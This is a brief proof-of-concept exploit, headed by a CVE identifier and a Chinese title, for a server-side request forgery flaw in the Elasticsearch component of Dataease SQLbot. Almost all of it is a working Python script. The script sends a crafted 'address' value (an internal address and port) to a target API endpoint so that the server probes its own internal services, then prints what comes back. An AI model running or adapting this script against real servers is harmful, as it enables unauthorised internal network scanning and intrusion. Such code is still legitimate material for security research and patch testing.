CVE-2026-5417 Dataease SQLbot Elasticsearch组件SSRF漏洞

import requests # Target URL (Example, replace with actual endpoint) target_url = "http://target-vulnerable-server:port/api/db/es_data" # The vulnerable parameter is 'address'. # An attacker can change this to an internal IP address to scan the internal network. payload = { "address": "http://127.0.0.1:22", # Internal service to probe "query": "*" } try: # Sending the request to trigger the SSRF response = requests.post(target_url, json=payload, timeout=10) if response.status_code == 200: print("[+] Potential SSRF triggered!") print("Response headers:", response.headers) print("Response body:", response.text[:200]) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")